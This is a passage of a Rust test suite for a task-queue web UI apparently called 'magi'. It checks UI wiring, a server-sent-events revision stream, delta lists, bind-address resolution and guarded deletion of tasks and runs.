17758 );
17759 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
17760 assert!(APP_JS.contains("is not in the current Backlog."));
17761 assert!(APP_JS.contains("li.card[data-task-id=\""));
17762 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
17763 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
17764 assert!(APP_CSS.contains(".card-permalink"));
17765 assert!(APP_CSS.contains(".queue-focus-status"));
17766 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
17767 }
17768
17769 #[test]
17770 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
17771 assert!(
17779 APP_JS.contains(
17780 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
17781 ),
17782 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
17783 );
17784 }
17785
17786 #[test]
17787 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
17788 assert!(
17789 APP_JS.contains("round.verified_head !== round.head"),
17790 "a round that verified an earlier commit must be visibly distinct from one that \
17791 verified the head reviewers are looking at now"
17792 );
17793 assert!(
17794 APP_JS.contains("round.verified_at"),
17795 "when a check ran must be on the wire, not just which commit"
17796 );
17797 assert!(
17798 APP_JS.contains("resource_blocked"),
17799 "a command magi never got to run (shared build cache contention) must not render \
17800 the same as a command that ran and failed"
17801 );
17802 }
17803
17804 #[test]
17805 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
17806 assert!(
17814 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
17815 "every KPI tile built through statusTile() must route its click through \
17816 openRunsFiltered, the single place that sets the Runs filter"
17817 );
17818 for (label, status) in [
17819 ("Merged", "merged"),
17820 ("Ready", "ready"),
17821 ("Blocked", "blocked"),
17822 ("Stalled", "stalled"),
17823 ] {
17824 let call = format!("statusTile(\"{label}\", t.{status}, ");
17825 assert!(
17826 APP_JS.contains(&call),
17827 "expected the {label} KPI tile built via {call}..."
17828 );
17829 assert!(
17830 APP_JS.contains(&format!("status === \"{status}\"")),
17831 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
17832 compare a run against, not one invented only for the stats tile"
17833 );
17834 }
17835 assert!(
17836 APP_JS.contains("function openRunsFiltered(status)"),
17837 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
17838 );
17839 assert!(
17840 APP_JS.contains(
17841 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
17842 ),
17843 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
17844 );
17845 assert!(
17853 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
17854 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
17855 hashchange event that may never fire"
17856 );
17857 }
17858
17859 #[test]
17860 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
17861 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
17867 assert!(
17868 APP_JS.contains(
17869 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
17870 ),
17871 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
17872 guard for an incompatible tree section"
17873 );
17874 }
17875
17876 #[test]
17877 fn every_stats_queue_tile_names_a_real_queue_section() {
17878 assert!(
17884 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
17885 "every queue tile built through sectionTile() must route its click through \
17886 openQueueSectionFocus"
17887 );
17888 for key in ["upnext", "running", "done", "held", "blocked"] {
17889 assert!(
17890 APP_JS.contains(&format!("{{ key: \"{key}\",")),
17891 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
17892 );
17893 }
17894 for line in [
17898 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
17899 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
17900 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
17901 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
17902 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
17903 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
17904 ] {
17905 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
17906 }
17907 }
17908
17909 #[test]
17910 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
17911 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
17918 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
17919 assert!(APP_JS.contains("function revealQueueSection(details)"));
17920 assert!(
17921 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
17922 "renderQueue() must consume both focus channels on every pass"
17923 );
17924 assert!(
17925 APP_JS.contains(
17926 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
17927 ),
17928 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
17929 the recursive renderQueue() call has nothing left to reveal"
17930 );
17931 assert!(
17932 APP_JS.contains(
17933 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
17934 ),
17935 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
17936 );
17937 assert!(
17945 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
17946 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
17947 hashchange event that may never fire"
17948 );
17949 }
17950
17951 #[tokio::test]
17952 async fn the_change_stream_announces_the_current_revisions_on_connect() {
17953 let f = Fixture::start().await;
17954
17955 let mut socket = tokio::net::TcpStream::connect(f.addr)
17956 .await
17957 .expect("connect");
17958 socket
17959 .write_all(
17960 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
17961 )
17962 .await
17963 .expect("write request");
17964
17965 let mut seen = String::new();
17968 let mut buf = [0u8; 1024];
17969 while !seen.contains("event: change") {
17970 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
17971 .await
17972 .expect("the stream must speak within five seconds")
17973 .expect("read");
17974 assert!(read > 0, "the server closed the change stream: {seen}");
17975 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
17976 }
17977
17978 assert!(
17979 seen.to_lowercase()
17980 .contains("content-type: text/event-stream"),
17981 "the browser only reconnects automatically for a real SSE stream: {seen}"
17982 );
17983 let data = seen
17984 .lines()
17985 .find_map(|l| l.strip_prefix("data:"))
17986 .expect("a data line");
17987 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
17988 assert!(
17989 payload["queue_rev"].is_u64()
17990 && payload["runs_rev"].is_u64()
17991 && payload["questions_rev"].is_u64()
17992 && payload["talks_rev"].is_u64()
17993 && payload["notifications_rev"].is_u64()
17994 && payload["loop_rev"].is_u64(),
17995 "the client needs one revision per store to know what to refetch, \
17996 and `talks_rev` is the only notification a standing talk gets - a \
17997 phone whose radio slept through a turn learns about it here, as \
17998 does one whose operator started the loop from another device: \
17999 {payload}"
18000 );
18001
18002 let health = f.get("/api/health").await.json();
18009 for key in [
18010 "queue_rev",
18011 "runs_rev",
18012 "questions_rev",
18013 "talks_rev",
18014 "notifications_rev",
18015 "loop_rev",
18016 ] {
18017 assert!(
18018 health[key].is_u64(),
18019 "health is the change stream's fallback and is missing `{key}`: {health}"
18020 );
18021 }
18022 }
18023
18024 #[tokio::test]
18025 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
18026 let f = Fixture::start().await;
18027 let before = f.get("/api/health").await.json()["talks_rev"]
18028 .as_u64()
18029 .expect("talks_rev");
18030
18031 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
18032 std::thread::sleep(Duration::from_millis(10));
18033 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
18034 on_disk.turns.push(crate::talk::Turn {
18035 sender: None,
18036 breaks: Some(Vec::new()),
18037 messages: Vec::new(),
18038 posted_by: None,
18039 who: crate::talk::Who::Operator,
18040 body: "a new turn".to_owned(),
18041 at: Timestamp::now(),
18042 attachments: Vec::new(),
18043 usage: None,
18044 });
18045 f.talks().put(&mut on_disk).expect("record a turn");
18046
18047 let after = f.get("/api/health").await.json()["talks_rev"]
18048 .as_u64()
18049 .expect("talks_rev");
18050 assert_ne!(
18051 before, after,
18052 "a phone must be able to notice a talk's reply without polling every store"
18053 );
18054 }
18055
18056 #[test]
18057 fn bind_reads_back_from_the_spelling_the_cli_prints() {
18058 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
18062 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
18063 }
18064 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
18065 assert!("everywhere".parse::<Bind>().is_err());
18066 }
18067
18068 #[test]
18069 fn an_explicit_bind_address_is_taken_verbatim() {
18070 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
18071
18072 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
18073
18074 assert_eq!(addr, asked);
18075 assert!(
18076 warning.is_none(),
18077 "an operator who named an address gets no lecture"
18078 );
18079 }
18080
18081 #[test]
18082 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
18083 let (addr, warning) = resolve_bind(&Bind::Auto);
18084
18085 match addr {
18092 IpAddr::V4(ip) if is_tailnet(&ip) => {
18093 assert!(warning.is_none(), "a tailnet address needs no warning");
18094 }
18095 other => {
18096 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
18097 let warning = warning.expect("a fallback has to explain itself");
18098 assert!(
18099 warning.contains("127.0.0.1") && warning.contains("local-only"),
18100 "the warning says what happened and what it costs: {warning}"
18101 );
18102 }
18103 }
18104 }
18105
18106 #[test]
18107 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
18108 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
18112 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
18113 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
18114 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
18115 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
18116 }
18117
18118 #[test]
18119 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
18120 let ids = vec![
18121 "20260902-140501-aaaa".to_owned(),
18122 "20260902-140502-aabb".to_owned(),
18123 ];
18124
18125 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
18126 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
18127 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
18128
18129 assert_eq!(missing.status, StatusCode::NOT_FOUND);
18130 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
18131 assert_eq!(short, "20260902-140502-aabb");
18132 }
18133 #[tokio::test]
18134 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
18135 let fx = Fixture::start().await;
18141 let id = panel(
18142 &fx,
18143 "<img src=\"shot.png\">",
18144 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
18145 );
18146
18147 let doc = fx
18149 .get(&format!("/api/questions/{id}/panel/index.html"))
18150 .await;
18151 assert_eq!(doc.status, 200, "{}", doc.body);
18152 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
18153
18154 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
18155 assert_eq!(sibling.status, 200, "{}", sibling.body);
18156 assert_eq!(sibling.header("content-type"), Some("image/png"));
18157 assert_eq!(
18158 sibling.header("content-security-policy"),
18159 Some(PANEL_CSP),
18160 "the sibling route must carry the same policy as the asset route"
18161 );
18162
18163 assert_eq!(
18166 fx.head(&format!("/api/questions/{id}/panel")).await.status,
18167 200
18168 );
18169 }
18170
18171 #[test]
18172 fn delta_stamps_cover_add_update_remove_and_noop() {
18173 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
18174 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
18175 let delta = diff_stamps(&before, &after, 42);
18176 assert_eq!(delta.base, 42);
18177 assert_eq!(delta.changed, ["b", "c"]);
18178 assert_eq!(delta.removed, ["a"]);
18179 let same = diff_stamps(&after, &after, 43);
18180 assert!(same.changed.is_empty() && same.removed.is_empty());
18181 assert_ne!(stamps_revision(&before), stamps_revision(&after));
18182 let nanos: Stamps = [("b".into(), (2, 20))].into();
18183 let same_ms: Stamps = [("b".into(), (3, 20))].into();
18184 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
18185 assert_eq!(stamps_revision(&Stamps::new()), 0);
18186 }
18187
18188 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
18189 std::fs::create_dir_all(home.join("runs")).unwrap();
18190 Arc::new(Ui::new(
18191 Queue::at(home.join("queue")),
18192 Questions::at(home.join("questions")),
18193 Talks::at(home.join("talks")),
18194 home.join("runs"),
18195 home.to_owned(),
18196 PathBuf::from("/repo/magi"),
18197 ))
18198 }
18199
18200 #[tokio::test]
18201 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
18202 let home = TempDir::new().unwrap();
18203 let ui = delta_test_ui(home.path());
18204 let mut task = Task::new(
18205 "stream task".into(),
18206 "text".into(),
18207 PathBuf::from("/repo"),
18208 Source::Human,
18209 );
18210 ui.queue.put(&mut task).unwrap();
18211 let response = events(State(ui.clone())).await.into_response();
18212 let mut stream = response.into_body().into_data_stream();
18213 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
18214 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
18215 .await
18216 .unwrap()
18217 .unwrap()
18218 .unwrap();
18219 let text = String::from_utf8(chunk.to_vec()).unwrap();
18220 let data = text
18221 .lines()
18222 .find_map(|line| {
18223 line.strip_prefix("data: ")
18224 .or_else(|| line.strip_prefix("data:"))
18225 })
18226 .unwrap();
18227 serde_json::from_str(data).unwrap()
18228 }
18229 let initial = change(&mut stream).await;
18230 assert!(initial.get("queue_delta").is_none());
18231 task.instruction.push_str(" changed");
18232 ui.queue.put(&mut task).unwrap();
18233 let updated = change(&mut stream).await;
18234 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
18235 assert_eq!(
18236 updated["queue_delta"]["changed"],
18237 serde_json::json!([task.id])
18238 );
18239 assert_eq!(
18240 updated["queue_rev"].as_u64(),
18241 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
18242 );
18243 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
18244 let removed = change(&mut stream).await;
18245 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
18246 assert_eq!(
18247 removed["queue_delta"]["removed"],
18248 serde_json::json!([task.id])
18249 );
18250 }
18251
18252 #[tokio::test]
18253 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
18254 let home = TempDir::new().unwrap();
18255 let ui = delta_test_ui(home.path());
18256 let queue = ui.queue.clone();
18257 let query = |ids: Option<&str>| {
18258 Query(ListQuery {
18259 limit: Some(2),
18260 ids: ids.map(str::to_owned),
18261 })
18262 };
18263 let mut root = Task::new(
18264 "root".into(),
18265 "instruction".into(),
18266 PathBuf::from("/repo"),
18267 Source::Human,
18268 );
18269 queue.put(&mut root).unwrap();
18270 let mut blocked = Task::new(
18271 "blocked".into(),
18272 "instruction".into(),
18273 PathBuf::from("/repo"),
18274 Source::Human,
18275 );
18276 blocked.block(vec![root.id.clone()], None);
18277 queue.put(&mut blocked).unwrap();
18278 let whole =
18279 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
18280 .unwrap();
18281 let subset = serde_json::to_value(
18282 queue_list(State(ui.clone()), query(Some(&root.id)))
18283 .await
18284 .unwrap()
18285 .0,
18286 )
18287 .unwrap();
18288 assert_eq!(whole, subset, "requested root plus its blocked dependent");
18289 let blockers = serde_json::to_value(
18290 queue_list(State(ui.clone()), query(Some("")))
18291 .await
18292 .unwrap()
18293 .0,
18294 )
18295 .unwrap();
18296 assert_eq!(blockers.as_array().unwrap().len(), 1);
18297 assert_eq!(blockers[0]["id"], blocked.id);
18298 assert_eq!(
18299 blockers[0]["waits_on"],
18300 whole
18301 .as_array()
18302 .unwrap()
18303 .iter()
18304 .find(|row| row["id"] == blocked.id)
18305 .unwrap()["waits_on"]
18306 );
18307
18308 for id in [
18309 "20260902-140501-aaaa",
18310 "20260902-140502-bbbb",
18311 "20260902-140503-cccc",
18312 ] {
18313 write_run(&ui.runs, id, RunStatus::Merged);
18314 }
18315 let old = serde_json::to_value(
18316 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
18317 .await
18318 .unwrap()
18319 .0,
18320 )
18321 .unwrap();
18322 assert!(
18323 old.as_array().unwrap().is_empty(),
18324 "older updates must not enter the window"
18325 );
18326 let newest = serde_json::to_value(
18327 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
18328 .await
18329 .unwrap()
18330 .0,
18331 )
18332 .unwrap();
18333 assert_eq!(newest.as_array().unwrap().len(), 1);
18334 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
18335
18336 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
18337 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
18338 let talks = serde_json::to_value(
18339 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
18340 .await
18341 .unwrap()
18342 .0,
18343 )
18344 .unwrap();
18345 assert_eq!(talks.as_array().unwrap().len(), 1);
18346 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
18347 assert_eq!(
18348 serde_json::to_value(
18349 talks_list(State(ui.clone()), query(Some("")))
18350 .await
18351 .unwrap()
18352 .0
18353 )
18354 .unwrap(),
18355 serde_json::json!([])
18356 );
18357 }
18358
18359 #[tokio::test]
18360 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
18361 async fn delta_payload_benchmark() {
18362 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
18363 let ui = delta_test_ui(&home);
18364 let query = |ids: Option<String>| {
18365 Query(ListQuery {
18366 limit: Some(50),
18367 ids,
18368 })
18369 };
18370 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
18371 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
18372 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
18373 let queue_id = queue
18374 .iter()
18375 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
18376 .unwrap_or(&queue[0])
18377 .task
18378 .id
18379 .clone();
18380 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
18381 .await
18382 .unwrap()
18383 .0;
18384 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
18385 .await
18386 .unwrap()
18387 .0;
18388 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
18389 .await
18390 .unwrap()
18391 .0;
18392 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
18393 eprintln!(
18394 "DELTA_PAYLOAD {}",
18395 serde_json::json!({
18396 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
18397 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
18398 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
18399 "counts": [queue.len(), runs.len(), talks.len()],
18400 "blocked": queue_delta.len() - 1,
18401 })
18402 );
18403 }
18404
18405 #[test]
18406 fn runs_revision_moves_when_deleting_an_older_run() {
18407 let temp = TempDir::new().expect("tempdir");
18408 let runs = temp.path().join("runs");
18409 std::fs::create_dir_all(&runs).expect("create runs dir");
18410
18411 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
18412
18413 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
18414 std::thread::sleep(Duration::from_millis(10));
18415 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
18416
18417 let rev_before = runs_revision(&runs);
18418 assert!(rev_before > 0);
18419
18420 let old_dir = runs.join("20260901-100000-old1");
18421 std::fs::remove_dir_all(&old_dir).expect("remove old run");
18422
18423 let rev_after = runs_revision(&runs);
18424 assert_ne!(
18425 rev_before, rev_after,
18426 "deleting an older run must change the revision so other clients see the deletion"
18427 );
18428 }
18429
18430 fn write_state(runs: &FsPath, state: &RunState) {
18435 let dir = runs.join(&state.id);
18436 std::fs::create_dir_all(&dir).expect("run dir");
18437 std::fs::write(
18438 dir.join("run.json"),
18439 serde_json::to_string_pretty(state).expect("serialize run"),
18440 )
18441 .expect("write run.json");
18442 }
18443
18444 #[test]
18449 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
18450 let temp = TempDir::new().expect("tempdir");
18451 let runs = temp.path().join("runs");
18452 std::fs::create_dir_all(&runs).expect("create runs dir");
18453 let mut state = RunState::new(
18454 PathBuf::from("/repo/magi"),
18455 "main".to_owned(),
18456 "0123456789abcdef".to_owned(),
18457 "task".to_owned(),
18458 Config::default(),
18459 );
18460 state.id = "20260902-100000-c0de".to_owned();
18461 write_state(&runs, &state);
18462
18463 let rev_idle = runs_revision(&runs);
18464 std::thread::sleep(Duration::from_millis(10));
18465 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
18466 write_state(&runs, &state);
18467 let rev_started = runs_revision(&runs);
18468 assert_ne!(
18469 rev_idle, rev_started,
18470 "a seat starting must move the revision"
18471 );
18472
18473 std::thread::sleep(Duration::from_millis(10));
18474 state.seat_finished("judge-1");
18475 write_state(&runs, &state);
18476 let rev_finished = runs_revision(&runs);
18477 assert_ne!(
18478 rev_started, rev_finished,
18479 "and clearing it again must move the revision a second time"
18480 );
18481 }
18482
18483 #[tokio::test]
18484 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
18485 let fx = Fixture::start().await;
18490 let q = fx.queue();
18491
18492 let mut t = Task::new(
18493 "Task".to_owned(),
18494 "Instruction".to_owned(),
18495 PathBuf::from("/repo"),
18496 Source::Human,
18497 );
18498 t.block(
18499 vec!["20260101-000000-dead".to_owned()],
18500 Some("waiting on Task 1".to_owned()),
18501 );
18502 t.answers.push(crate::queue::AnsweredQuestion {
18503 question: "Which backend?".to_owned(),
18504 answer: "SQLite".to_owned(),
18505 });
18506 q.put(&mut t).expect("put t");
18507
18508 let res = fx.get("/api/queue").await;
18509 assert_eq!(res.status, 200);
18510 let list = res.json();
18511 let view = list
18512 .as_array()
18513 .expect("array")
18514 .iter()
18515 .find(|v| v["id"] == t.id)
18516 .expect("task in list");
18517 assert_eq!(view["status_str"], "blocked");
18518 assert_eq!(
18519 view["blocked_by"],
18520 serde_json::json!(["20260101-000000-dead"])
18521 );
18522 assert_eq!(view["block_reason"], "waiting on Task 1");
18523 assert_eq!(view["answers"][0]["question"], "Which backend?");
18524 assert_eq!(view["answers"][0]["answer"], "SQLite");
18525
18526 let res = fx
18530 .post(&format!("/api/queue/{}/hold", t.short()), None)
18531 .await;
18532 assert_eq!(res.status, 200);
18533 let held = res.json();
18534 assert_eq!(held["status_str"], "held");
18535 assert_eq!(held["blocked_by"], serde_json::json!([]));
18536 assert!(held["block_reason"].is_null());
18537 assert_eq!(held["answers"][0]["answer"], "SQLite");
18538 }
18539
18540 #[tokio::test]
18541 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
18542 let fx = Fixture::start().await;
18543 let q = fx.queue();
18544 let mk = |title: &str| {
18545 Task::new(
18546 title.to_owned(),
18547 "Instruction".to_owned(),
18548 PathBuf::from("/repo"),
18549 Source::Human,
18550 )
18551 };
18552 let mut root = mk("root");
18553 root.hold_manual(Some("waiting".to_owned()));
18554 q.put(&mut root).unwrap();
18555 let mut mid = mk("mid");
18556 mid.block(vec![root.id.clone()], None);
18557 q.put(&mut mid).unwrap();
18558 let mut leaf = mk("leaf");
18559 leaf.block(vec![mid.id.clone()], None);
18560 q.put(&mut leaf).unwrap();
18561
18562 let list = fx.get("/api/queue").await.json();
18563 let find = |id: &str| {
18564 list.as_array()
18565 .unwrap()
18566 .iter()
18567 .find(|v| v["id"] == id)
18568 .unwrap()
18569 .clone()
18570 };
18571 let leaf_view = find(&leaf.id);
18572 assert_eq!(
18573 leaf_view["waits_on"],
18574 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
18575 );
18576 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
18577 assert_eq!(
18578 find(&mid.id)["waits_on"],
18579 serde_json::json!([format!("{} (held)", root.short())])
18580 );
18581 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
18582 }
18583
18584 #[tokio::test]
18585 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
18586 let fx = Fixture::start().await;
18587 let q = fx.queue();
18588
18589 let mut t1 = Task::new(
18591 "Task 1".to_owned(),
18592 "Instruction 1".to_owned(),
18593 PathBuf::from("/repo"),
18594 Source::Human,
18595 );
18596 let run_id = "20260901-000000-r111";
18597 t1.runs.push(run_id.to_owned());
18598 write_run(&fx.runs(), run_id, RunStatus::Merged);
18599 q.put(&mut t1).expect("put t1");
18600
18601 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
18603 assert_eq!(res.status, 204);
18604 assert!(res.body.is_empty(), "204 No Content has no body");
18605 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
18606 assert!(
18607 fx.runs().join(run_id).exists(),
18608 "run directory must not be deleted when its task is deleted"
18609 );
18610
18611 let mut t2 = Task::new(
18613 "Task 2".to_owned(),
18614 "Instruction 2".to_owned(),
18615 PathBuf::from("/repo"),
18616 Source::Human,
18617 );
18618 t2.status = TaskStatus::Running;
18619 q.put(&mut t2).expect("put t2");
18620 let mut beat = crate::daemon::Status::new();
18621 beat.current = vec![crate::daemon::Current {
18622 task: t2.id.clone(),
18623 run: "20260901-000000-r222".to_owned(),
18624 }];
18625 beat.updated_at = jiff::Timestamp::now();
18626 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18627 .expect("publish a heartbeat");
18628 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
18629 assert_eq!(res.status, 409);
18630 assert!(
18631 res.json()["error"]
18632 .as_str()
18633 .unwrap()
18634 .contains("live daemon")
18635 );
18636 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
18637
18638 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
18644 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18645 .expect("leave a stale heartbeat");
18646 let mut t3 = Task::new(
18647 "Task 3".to_owned(),
18648 "Instruction 3".to_owned(),
18649 PathBuf::from("/repo"),
18650 Source::Human,
18651 );
18652 t3.status = TaskStatus::Running;
18653 q.put(&mut t3).expect("put t3");
18654 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
18655 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
18656 assert_eq!(res.status, 204);
18657 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
18658 assert!(
18659 q.claim(&t3.id).is_ok(),
18660 "the stale lock went with it, so the id is claimable again"
18661 );
18662
18663 let res = fx.delete("/api/queue/nonexistent").await;
18665 assert_eq!(res.status, 404);
18666 }
18667
18668 #[tokio::test]
18669 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
18670 let fx = Fixture::start().await;
18671 let runs = fx.runs();
18672
18673 let run_id = "20260901-000000-fold";
18675 let mut state = RunState::new(
18676 PathBuf::from("/repo"),
18677 "main".to_owned(),
18678 "abc".to_owned(),
18679 "instruction".to_owned(),
18680 Config::default(),
18681 );
18682 state.id = run_id.to_owned();
18683 state.status = RunStatus::Merged;
18684 state.candidates.push(crate::run::Candidate {
18685 index: 0,
18686 label: 'A',
18687 agent: "a".to_owned(),
18688 branch: "b".to_owned(),
18689 worktree: PathBuf::from("/w"),
18690 summary: String::new(),
18691 stat: String::new(),
18692 files: 1,
18693 commits: 1,
18694 empty: false,
18695 failed: None,
18696 verified_noop: None,
18697 duration_ms: 0,
18698 folded: true,
18699 });
18700 let dir = runs.join(run_id);
18701 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
18702 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
18703 .expect("write artifact");
18704 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
18705 .expect("write run.json");
18706
18707 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
18709 assert_eq!(res.status, 204);
18710 assert!(res.body.is_empty(), "204 has no body");
18711 assert!(!dir.exists(), "run directory and artifacts must be deleted");
18712
18713 let run_running = "20260901-000000-rung";
18718 write_run(&runs, run_running, RunStatus::Prep);
18719 let mut beat = crate::daemon::Status::new();
18720 beat.current = vec![crate::daemon::Current {
18721 task: "20260901-000000-task".to_owned(),
18722 run: run_running.to_owned(),
18723 }];
18724 beat.updated_at = jiff::Timestamp::now();
18725 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18726 .expect("publish a heartbeat");
18727 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
18728 assert_eq!(res.status, 409);
18729 assert!(
18730 res.json()["error"]
18731 .as_str()
18732 .unwrap()
18733 .contains("live daemon"),
18734 "the refusal must say who is holding it"
18735 );
18736 assert!(
18737 runs.join(run_running).exists(),
18738 "a run in flight keeps its directory"
18739 );
18740
